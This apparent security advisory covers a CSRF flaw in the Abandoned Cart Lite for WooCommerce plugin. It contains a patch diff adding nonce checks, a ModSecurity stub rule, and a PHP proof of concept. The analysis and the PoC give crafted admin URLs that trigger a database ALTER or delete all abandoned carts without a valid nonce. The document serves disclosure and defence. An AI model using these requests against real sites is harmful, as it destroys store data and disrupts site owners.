Atomic Edge analysis of CVE-2026-57637:
This vulnerability is a Cross-Site Request Forgery (CSRF) in the Abandoned Cart Lite for WooCommerce plugin, affecting versions up to and including 6.8.0. The plugin fails to validate nonce tokens on multiple administrative actions, allowing an unauthenticated attacker to trick a site administrator into performing state-changing operations such as deleting abandoned carts, email templates, or modifying database records. The CVSS score is 4.3 (Medium).
The root cause is missing or incorrect nonce validation across several code paths within the `wcal_menu_page()` function in `woocommerce-ac.php`. Specifically, the vulnerable actions include:
– The `ac_update=email_templates` GET parameter (line 2900) triggers an ALTER TABLE query via `wcal_common::update_templates_table()` without verifying a nonce.
– Bulk delete actions (`wcal_delete`, `wcal_delete_all_registered`, `wcal_delete_all_guest`, `wcal_delete_all_visitor`, `wcal_delete_all`) on abandoned orders page (lines 2978-3018) lack nonce checks.
– Template deletion triggered by `wcal_delete_template` (line 3028) and individual template actions like `removetemplate` (line 3346) and `activate_template` (line 3358) have no CSRF protection.
– The email template form submission handling for save and update operations (lines 3266-3298) does not validate a nonce.
The original admin notice link in `class-wcal-admin-notice.php` (line 74) used a static URL without any nonce, making it trivially exploitable.
Exploitation requires tricking a logged-in administrator into visiting a crafted URL or page. For example, an attacker can create a malicious HTML page with an image tag or an auto-submitting form that sends a GET request to `/wp-admin/admin.php?page=woocommerce_ac_page&action=listcart&ac_update=email_templates`. This triggers the database upgrade function without any CSRF token. Similarly, a crafted request to `/wp-admin/admin.php?page=woocommerce_ac_page&action=listcart&ac_update=email_templates&_wpnonce=anything` would still execute because the nonce was never verified. The attacker can also construct requests for bulk deletions by adding parameters like `abandoned_order_id[]=1&action=wcal_delete` to the WordPress admin URL. Since the action is triggered via GET parameters, the attacker can embed the exploit in a cross-origin request that the admin’s browser executes.
The patch introduces a comprehensive nonce verification system. It adds a new private method `wcal_verify_admin_action_nonce()` (lines 2881-2932 in the patched code) that checks the `_wpnonce` request parameter against a whitelist of valid nonce actions. Before each state-changing operation, the code now calls `$this->wcal_verify_admin_action_nonce()`. The admin notice link in `class-wcal-admin-notice.php` is updated to include a valid nonce via `wp_nonce_url()` with the action `wcal_update_email_templates`. The email template form now includes “ to attach the nonce to POST submissions. Before the patch, the code had no nonce checks or used incorrect nonces (e.g., using the same nonce for row actions and bulk actions). After the patch, every sensitive operation must pass a valid nonce, which prevents forged requests since the nonce is tied to the user session and has a limited lifetime.
Impact: Successful exploitation allows an attacker to perform unauthorized administrative actions. This includes deleting all abandoned cart records (loss of customer data and potential revenue recovery), deleting email templates (disabling recovery campaigns), modifying email templates (typos or removal), and altering database table collations (minor database schema change). The attack does not directly lead to remote code execution or privilege escalation beyond what the admin can already do, but it can cause significant data loss and disruption to the store’s abandoned cart recovery system. The CSRF attack has a low complexity and requires no authentication, only a single social engineering step against an admin.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/woocommerce-abandoned-cart/includes/class-wcal-admin-notice.php
+++ b/woocommerce-abandoned-cart/includes/class-wcal-admin-notice.php
@@ -61,6 +61,11 @@
'SHOW FULL COLUMNS FROM `' . $wpdb->prefix . 'ac_email_templates_lite` WHERE Field = "subject" OR Field = "body"'
);
+ $update_url = wp_nonce_url(
+ admin_url( 'admin.php?page=woocommerce_ac_page&action=listcart&ac_update=email_templates' ),
+ 'wcal_update_email_templates'
+ );
+
foreach ( $results as $key => $value ) {
if ( 'utf8mb4_unicode_ci' !== $value->Collation ) { // phpcs:ignore
?>
@@ -69,7 +74,7 @@
<?php echo esc_html__( 'We need to update your email template database for some improvements. Please take a backup of your databases for your piece of mind.', 'woocommerce-abandoned-cart' ); ?>
</span>
<span class="submit">
- <a href="<?php echo esc_url( 'admin.php?page=woocommerce_ac_page&action=listcart&ac_update=email_templates' ); ?>" class="button-primary" style="float:right;"><?php echo esc_html__( 'Update', 'woocommerce-abandoned-cart' ); ?></a>
+ <a href="<?php echo esc_url( $update_url ); ?>" class="button-primary" style="float:right;"><?php echo esc_html__( 'Update', 'woocommerce-abandoned-cart' ); ?></a>
</span>
</div>
<?php
--- a/woocommerce-abandoned-cart/woocommerce-ac.php
+++ b/woocommerce-abandoned-cart/woocommerce-ac.php
@@ -3,14 +3,14 @@
* Plugin Name: Abandoned Cart Lite for WooCommerce
* Plugin URI: http://www.tychesoftwares.com/store/premium-plugins/woocommerce-abandoned-cart-pro
* Description: Track abandoned carts and send automated, customizable abandoned cart recovery emails. Reduce cart abandonment, recover lost revenue & increase sales.
- * Version: 6.8.0
+ * Version: 6.8.1
* Author: Tyche Softwares
* Author URI: http://www.tychesoftwares.com/
* Text Domain: woocommerce-abandoned-cart
* Domain Path: /i18n/languages/
* Requires PHP: 7.4 or higher
* WC requires at least: 4.0.0
- * WC tested up to: 10.7.0
+ * WC tested up to: 10.8.1
* Requires Plugins: woocommerce
*
* @package Abandoned-Cart-Lite-for-WooCommerce
@@ -121,7 +121,7 @@
}
if ( ! defined( 'WCAL_PLUGIN_VERSION' ) ) {
- define( 'WCAL_PLUGIN_VERSION', '6.8.0' );
+ define( 'WCAL_PLUGIN_VERSION', '6.8.1' );
}
if ( ! defined( 'WCAL_PLUGIN_PATH' ) ) {
@@ -511,7 +511,8 @@
}
$message = $email_body_template_header . $message . $email_body_template_footer;
}
- echo $message; // phpcs:ignore
+ header( 'Content-Security-Policy: sandbox' );
+ echo wp_unslash( $message ); // phpcs:ignore
exit;
}
@@ -539,7 +540,8 @@
$message = ob_get_clean();
}
// print the preview email.
- echo $message; // phpcs:ignore
+ header( 'Content-Security-Policy: sandbox' );
+ echo wp_unslash( $message ); // phpcs:ignore
exit;
}
}
@@ -2877,6 +2879,53 @@
}
/**
+ * Verify a nonce for the current admin-side state-changing request.
+ *
+ * CSRF hardening: any branch of wcal_menu_page() that writes to the DB
+ * (delete carts, delete / create / update / activate templates, run the
+ * email_templates DB upgrade) must call this first. The plugin's own UI
+ * already attaches one of the nonces listed below — see
+ * class-wcal-abandoned-orders-table.php (row links) and WP_List_Table's
+ * display_tablenav() (bulk dropdown) and the email-template form
+ * (wp_nonce_field() added below). Accepting any of them lets us patch
+ * the handler without changing every URL generator and keeps existing
+ * UI flows working.
+ *
+ * On failure we wp_die() with the standard "link expired" message so
+ * forged GET/POST requests from another origin are rejected before any
+ * DB write happens.
+ *
+ * @since 6.8.1
+ * @return void
+ */
+ private function wcal_verify_admin_action_nonce() {
+ $nonce = isset( $_REQUEST['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ) : '';
+
+ // Each entry is a nonce action string that the plugin's own UI generates.
+ $valid_actions = array(
+ 'abandoned_order_nonce', // Single-row delete / edit links.
+ 'bulk-abandoned_order_ids', // Bulk dropdown on abandoned orders list (auto by WP_List_Table).
+ 'bulk-template_ids', // Bulk dropdown on email templates list (auto by WP_List_Table).
+ 'wcal_email_template_form', // Create / update email template form.
+ 'wcal_update_email_templates',
+ );
+
+ if ( '' !== $nonce ) {
+ foreach ( $valid_actions as $valid_action ) {
+ if ( wp_verify_nonce( $nonce, $valid_action ) ) {
+ return;
+ }
+ }
+ }
+
+ wp_die(
+ esc_html__( 'The link you followed has expired. Please refresh the page and try again.', 'woocommerce-abandoned-cart' ),
+ esc_html__( 'Security check failed', 'woocommerce-abandoned-cart' ),
+ array( 'response' => 403 )
+ );
+ }
+
+ /**
* Abandon Cart Settings Page. It will show the tabs, notices for the plugin.
* It will also update the template records and display the template fields.
* It will also show the abandoned cart details page.
@@ -2898,7 +2947,9 @@
<h2><?php esc_html_e( 'WooCommerce - Abandon Cart Lite', 'woocommerce-abandoned-cart' ); ?></h2>
<?php
- if ( isset( $_GET['ac_update'] ) && 'email_templates' === sanitize_text_field( wp_unslash( $_GET['ac_update'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification
+ if ( isset( $_GET['ac_update'] ) && 'email_templates' === sanitize_text_field( wp_unslash( $_GET['ac_update'] ) ) ) {
+ // CSRF: ac_update triggers an ALTER TABLE — require a valid nonce.
+ $this->wcal_verify_admin_action_nonce();
$status = wcal_common::update_templates_table();
if ( false !== $status ) {
@@ -2924,7 +2975,10 @@
// Detect when a bulk action is being triggered on abandoned orders page.
if ( 'wcal_delete' === $action || 'wcal_delete' === $action_two ) {
- $ids = isset( $_GET['abandoned_order_id'] ) && is_array( $_GET['abandoned_order_id'] ) ? array_map( 'intval', wp_unslash( $_GET['abandoned_order_id'] ) ) : sanitize_text_field( wp_unslash( $_GET['abandoned_order_id'] ) ); // phpcs:ignore WordPress.Security.NonceVerification
+ // CSRF: triggered by row-action link (nonce 'abandoned_order_nonce')
+ // or bulk dropdown (nonce 'bulk-abandoned_order_ids'). Reject anything else.
+ $this->wcal_verify_admin_action_nonce();
+ $ids = isset( $_GET['abandoned_order_id'] ) && is_array( $_GET['abandoned_order_id'] ) ? array_map( 'intval', wp_unslash( $_GET['abandoned_order_id'] ) ) : sanitize_text_field( wp_unslash( $_GET['abandoned_order_id'] ) );
if ( ! is_array( $ids ) ) {
$ids = array( $ids );
}
@@ -2935,28 +2989,39 @@
}
// Abandoned Orders page - Bulk Action - Delete all registered user carts.
if ( 'wcal_delete_all_registered' === $action || 'wcal_delete_all_registered' === $action_two ) {
+ // CSRF: bulk-only action — require valid nonce.
+ $this->wcal_verify_admin_action_nonce();
$class = new Wcal_Delete_Handler();
$class->wcal_bulk_action_delete_registered_carts_handler();
}
// Abandoned Orders page - Bulk Action - Delete all guest carts.
if ( 'wcal_delete_all_guest' === $action || 'wcal_delete_all_guest' === $action_two ) {
+ // CSRF: bulk-only action — require valid nonce.
+ $this->wcal_verify_admin_action_nonce();
$class = new Wcal_Delete_Handler();
$class->wcal_bulk_action_delete_guest_carts_handler();
}
// Abandoned Orders page - Bulk Action - Delete all visitor carts.
if ( 'wcal_delete_all_visitor' === $action || 'wcal_delete_all_visitor' === $action_two ) {
+ // CSRF: bulk-only action — require valid nonce.
+ $this->wcal_verify_admin_action_nonce();
$class = new Wcal_Delete_Handler();
$class->wcal_bulk_action_delete_visitor_carts_handler();
}
// Abandoned Orders page - Bulk Action - Delete all carts.
if ( 'wcal_delete_all' === $action || 'wcal_delete_all' === $action_two ) {
+ // CSRF: bulk-only action — require valid nonce.
+ $this->wcal_verify_admin_action_nonce();
$class = new Wcal_Delete_Handler();
$class->wcal_bulk_action_delete_all_carts_handler();
}
// Detect when a bulk action is being triggered on templates page.
if ( 'wcal_delete_template' === $action || 'wcal_delete_template' === $action_two ) {
- $ids = isset( $_GET['template_id'] ) && is_array( $_GET['template_id'] ) ? array_map( 'intval', wp_unslash( $_GET['template_id'] ) ) : sanitize_text_field( wp_unslash( $_GET['template_id'] ) ); // phpcs:ignore WordPress.Security.NonceVerification
+ // CSRF: triggered by row-action link (nonce 'abandoned_order_nonce')
+ // or bulk dropdown (nonce 'bulk-template_ids').
+ $this->wcal_verify_admin_action_nonce();
+ $ids = isset( $_GET['template_id'] ) && is_array( $_GET['template_id'] ) ? array_map( 'intval', wp_unslash( $_GET['template_id'] ) ) : sanitize_text_field( wp_unslash( $_GET['template_id'] ) );
if ( ! is_array( $ids ) ) {
$ids = array( $ids );
}
@@ -3198,7 +3263,9 @@
$new_tag = substr( $merge_tag, $start_tag );
$woocommerce_ac_email_body = str_ireplace( $merge_tag, $new_tag, $woocommerce_ac_email_body );
}
- if ( isset( $_POST['ac_settings_frm'] ) && 'save' === sanitize_text_field( wp_unslash( $_POST['ac_settings_frm'] ) ) ) { // phpcs:ignore
+ if ( isset( $_POST['ac_settings_frm'] ) && 'save' === sanitize_text_field( wp_unslash( $_POST['ac_settings_frm'] ) ) ) {
+ // CSRF: require the form-submission nonce printed by wp_nonce_field( 'wcal_email_template_form' ) below.
+ $this->wcal_verify_admin_action_nonce();
$default_value = 0;
$coupon_code_id = isset( $_POST['coupon_ids'][0] ) ? sanitize_text_field( wp_unslash( implode( ',', $_POST['coupon_ids'] ) ) ) : ''; // phpcs:ignore
$unique_coupon = ( empty( $_POST['unique_coupon'] ) ) ? '0' : '1'; // phpcs:ignore WordPress.Security.NonceVerification
@@ -3228,7 +3295,9 @@
);
}
- if ( isset( $_POST['ac_settings_frm'] ) && 'update' === sanitize_text_field( wp_unslash( $_POST['ac_settings_frm'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification
+ if ( isset( $_POST['ac_settings_frm'] ) && 'update' === sanitize_text_field( wp_unslash( $_POST['ac_settings_frm'] ) ) ) {
+ // CSRF: require the form-submission nonce printed by wp_nonce_field( 'wcal_email_template_form' ) below.
+ $this->wcal_verify_admin_action_nonce();
$updated_is_active = '0';
$id = isset( $_POST['id'] ) ? trim( sanitize_text_field( wp_unslash( $_POST['id'] ) ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification
@@ -3274,7 +3343,9 @@
}
if ( 'emailtemplates' === $action && 'removetemplate' === $mode ) {
- $id_remove = isset( $_GET['id'] ) ? sanitize_text_field( wp_unslash( $_GET['id'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification
+ // CSRF: this branch DELETEs a row by id from a GET param — must be nonce-protected.
+ $this->wcal_verify_admin_action_nonce();
+ $id_remove = isset( $_GET['id'] ) ? sanitize_text_field( wp_unslash( $_GET['id'] ) ) : '';
$wpdb->query( //phpcs:ignore
$wpdb->prepare(
'DELETE FROM `' . $wpdb->prefix . 'ac_email_templates_lite` WHERE id= %d ',
@@ -3284,8 +3355,10 @@
}
if ( 'emailtemplates' === $action && 'activate_template' === $mode ) {
- $template_id = isset( $_GET['id'] ) ? sanitize_text_field( wp_unslash( $_GET['id'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification
- $current_template_status = isset( $_GET['active_state'] ) ? sanitize_text_field( wp_unslash( $_GET['active_state'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification
+ // CSRF: this branch toggles is_active state — must be nonce-protected.
+ $this->wcal_verify_admin_action_nonce();
+ $template_id = isset( $_GET['id'] ) ? sanitize_text_field( wp_unslash( $_GET['id'] ) ) : '';
+ $current_template_status = isset( $_GET['active_state'] ) ? sanitize_text_field( wp_unslash( $_GET['active_state'] ) ) : '';
if ( '1' === $current_template_status ) {
$active = '0';
@@ -3873,6 +3946,7 @@
?>
<div id="content">
<form method="post" action="admin.php?page=woocommerce_ac_page&action=emailtemplates" id="ac_settings">
+ <?php wp_nonce_field( 'wcal_email_template_form' ); // CSRF: verified by wcal_verify_admin_action_nonce() on save/update. ?>
<input type="hidden" name="mode" value="<?php echo esc_html( $mode ); ?>" />
<?php
$id_by = isset( $_GET['id'] ) ? sanitize_text_field( wp_unslash( $_GET['id'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57637
# Virtual patch: Block CSRF exploitation by requiring nonce on admin page actions
# This rule targets the missing nonce on the ac_update parameter.
# Since the fix adds nonce validation, we block requests that lack a valid nonce.
# However, WordPress admin URLs are typically protected by admin cookies, so
# blocking based solely on the absence of a nonce would cause false positives
# for legitimate admin users who may not have a nonce in their request.
# Therefore, we do not deploy a WAF rule for this pure permission/CSRF vulnerability.
SecRule REQUEST_URI "@unconditionalMatch" "id:202657637,phase:2,pass,nolog,skipAfter:END"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57637 - Abandoned Cart Lite for WooCommerce <= 6.8.0 - Cross-Site Request Forgery
// This PoC demonstrates CSRF exploitation to trigger the email_templates database upgrade
// without any nonce verification.
// Configure target site
$target_url = 'http://example.com'; // Change to the vulnerable WordPress site URL
// Craft the malicious URL that triggers the vulnerable endpoint
$vulnerable_url = $target_url . '/wp-admin/admin.php?page=woocommerce_ac_page&action=listcart&ac_update=email_templates';
// In a real attack, the attacker would trick an admin into clicking this link.
// This script simulates what happens when the admin's browser processes the request.
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $vulnerable_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Simulate an authenticated admin session by providing a cookie if you have one
// For demonstration, we assume the cookie is set via browser.
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Error: ' . curl_error($ch) . "n";
} else {
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Response Code: $http_coden";
// Check if the admin notice appears or if the update ran.
// In a patched version, it would require a nonce.
if (strpos($response, 'updated successfully') !== false) {
echo "[*] Vulnerability confirmed: Database upgrade triggered without nonce.n";
} else {
echo "[!] Target may be patched or not vulnerable.n";
}
}
curl_close($ch);
// Additional PoC: Trigger deletion of abandoned carts via bulk action
// The URL below would delete all abandoned carts if an admin clicks it.
$bulk_delete_url = $target_url . '/wp-admin/admin.php?page=woocommerce_ac_page&action=wcal_delete_all&_wpnonce=fake';
// Note: In vulnerable version, the nonce is not validated.
?>